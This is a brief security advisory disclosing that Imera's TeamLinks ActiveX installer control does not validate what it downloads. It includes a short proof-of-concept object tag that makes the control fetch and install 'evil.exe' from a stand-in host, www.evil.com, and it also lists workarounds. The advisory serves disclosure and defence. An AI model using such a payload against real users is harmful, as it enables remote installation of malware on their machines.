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Hash: SHA1
Who:
Imera(http://www.imera.com)
Imera TeamLinks Client(http://teamlinks.imera.com/install.html)
What:
ImeraIEPlugin.dll
Version 1.0.2.54
Dated 12/02/2008
{75CC8584-86D4-4A50-B976-AA72618322C6}
http://teamlinks.imera.com/ImeraIEPlugin.cab
How:
This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is to
download and install is indeed the Imera TeamLinks Client software.
Exploiting this issue is quite simple, like so:
<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj">
<param name="DownloadProtocol" value="http" />
<param name="DownloadHost" value="www.evil.com" />
<param name="DownloadPort" value="80" />
<param name="DownloadURI" value="evil.exe" />
</object>
Fix:
The vendor has been notified.
Workaround:
Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the software
manually from: http://teamlinks.imera.com/download.html
Elazar
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